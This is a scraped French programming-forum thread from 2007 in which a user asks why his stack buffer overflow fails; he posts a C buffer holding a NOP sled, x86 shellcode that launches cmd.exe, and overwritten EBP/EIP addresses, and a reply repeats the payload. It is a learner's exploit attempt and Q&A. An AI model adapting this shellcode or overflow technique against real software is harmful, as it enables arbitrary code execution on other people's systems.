begin process at 2012 02 12 10:15:57
  Trouver un code source :
 
dans
 
Accueil > Forum > 

C++ & C++ .NET

 > 

Divers

 > 

Divers

 > 

Buffer Overflow


Derniers messages déposésPoser une question dans le forum ou lancer une discussion

Buffer Overflow

dimanche 21 janvier 2007 à 15:10:00 | Buffer Overflow

david_fryda

Salut a tous,

J'essaies en vain de provoquer un depassement de memoire dans un buffer que j'ai cree.

Voici le code :

char buf[120];

LoadLibrary("msvcrt.dll");

strcpy(buf,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90"

"\x8B\xE5\x55\x8b\xec\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"

"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"

"\xC6\x45\xFC\x65"

"\xC6\x45\xFD\x78"

"\xC6\x45\xFE\x65"

"\xB8\xC7\x93\xC2\x77\x50"

"\x8D\x45\xF8"

"\x01\x01\x01\x01" //EBP

"\xA7\xFE\x12\x00"); //EIP


Le code qui y est injecte doit normalement creer un command en executant cmd.exe.
Si j'ai bien compris, mon EIP doit pointer sur l'addresse memoire de mon buffer ou commence le code c'est a dire apres le dernier 0x90.
Entre autre l'address EBP ne doit pas contenire valeur NULL. Donc je ne peut utiliser comme addresse 0x0012FEA6. Comment faut-il que je trouve une place dans la memoire ou je puisse executer les op-codes sauvegardes dans mon buffer ?

Lorsque je tente de faire un push a l'addresse 0x01010101, je recois un message d'erreur.

Quelqu'un pourrait-il m'aider...ou au moins me mettre dans la bonne direction ?

Merci d'avance.


David Fryda
dimanche 28 janvier 2007 à 10:55:49 | Re : Buffer Overflow

MorbhAck

Tu est obligé de passer par strcpy ?

char buf[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90"

"\x8B\xE5\x55\x8b\xec\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63"

"\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E"

"\xC6\x45\xFC\x65"

"\xC6\x45\xFD\x78"

"\xC6\x45\xFE\x65"

"\xB8\xC7\x93\xC2\x77\x50"

"\x8D\x45\xF8"

"\x01\x01\x01\x01"

"\xA7\xFE\x12\x00";

mardi 30 janvier 2007 à 13:11:25 | Re : Buffer Overflow

david_fryda

Salut,

Je ne suis pas oblige de passer par strcpy.
Disons que j'insere les opcode directement dans le buf et que j'execute le programme victime en utilisant WinExec.

Le shell code utilise la dll msvcrt.dll.

Faut-il ecrire dans mon code LoadLibrary("msvcrt.dll") ou bien faut-il que le code victime load la dll ?

Merci

David Fryda


Cette discussion est classée dans : buffer, x01, x90, x45, xc6


Répondre à ce message

Sujets en rapport avec ce message

explication d'un exploit [ par dyroj ] salut a tous,je voudrais qu'on mexplique a quoi sert cette exploit, j'ai bien compri qu'il execute un shell mais je pourai faire la meme chose avec : fermer une thread qui est en attente fgets() en c sous windXP [ par dyroj ] Bonjour a tous,je n'arrive pas fermer une thread qui est en attende avec la fonction fgets(),thread a quitter :DWORD WINAPI Tsend_ms_t(LPVOID lpvoid){ gets() marche plus apres fermeture de thread [ par dyroj ] bonjour, est-il normale que fgets() block quand on lapele plus dune foi, //envoi en mode tcp WINA verification de code [ par dyroj ] salut a tous,je voudrai savoir si il y a des faute au niveu de la fonction select() et si je suis obliger de metre sock+1 au lieu de sock dans se peti analyseur lexical pascal [ par perrotta ] Bonjour, dsl pour ma langue je parle pas bien le français; je suis entrin de devlopper un analyseur lexical pour un programme (pascal) prèci ,et j'ai Client / Serveur => Je m'enmèle les pinceaux avec le buffer, les boucles etc. [C] [ par matad0r ] Bonjour, bonjour!J'ai récemment créé une petite application client/serveur de rien du tout (je suis débutant), en m'aidant de ça : http://c.developpez buffer [ par Hous30 ] Bonjour, Pour mon projet de fin d'année je dois recupérer des données dans un buffer en c++ programmer sous visual studio. Ces données sont des coordo accès a une url [ par NnGgHh ] Bonjour, je suis actuellement au bout de la crise de nerfs : je cherche a utiliser, dans mon programme en C++ fonctionnant sous MAC, une image dont je CreateProcess et processus infini [ par Rankin ] Salut à tous,Je suis en train de développer une appli qui lance pas mal de commandes système pour récupérer notamment la configuration du réseau. Pour Comment utiliser un buffer [ par sofoot ] Bonjour,Je travail sous C++Builder 6 et je souhaite faire communiquer un système (un monnayeur) avec mon pc via un port COM. Afin de récupérer les inf


Nos sponsors


Sondage...

CalendriCode

Février 2012
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
272829    

Consulter la suite du CalendriCode

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,827 sec (4)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales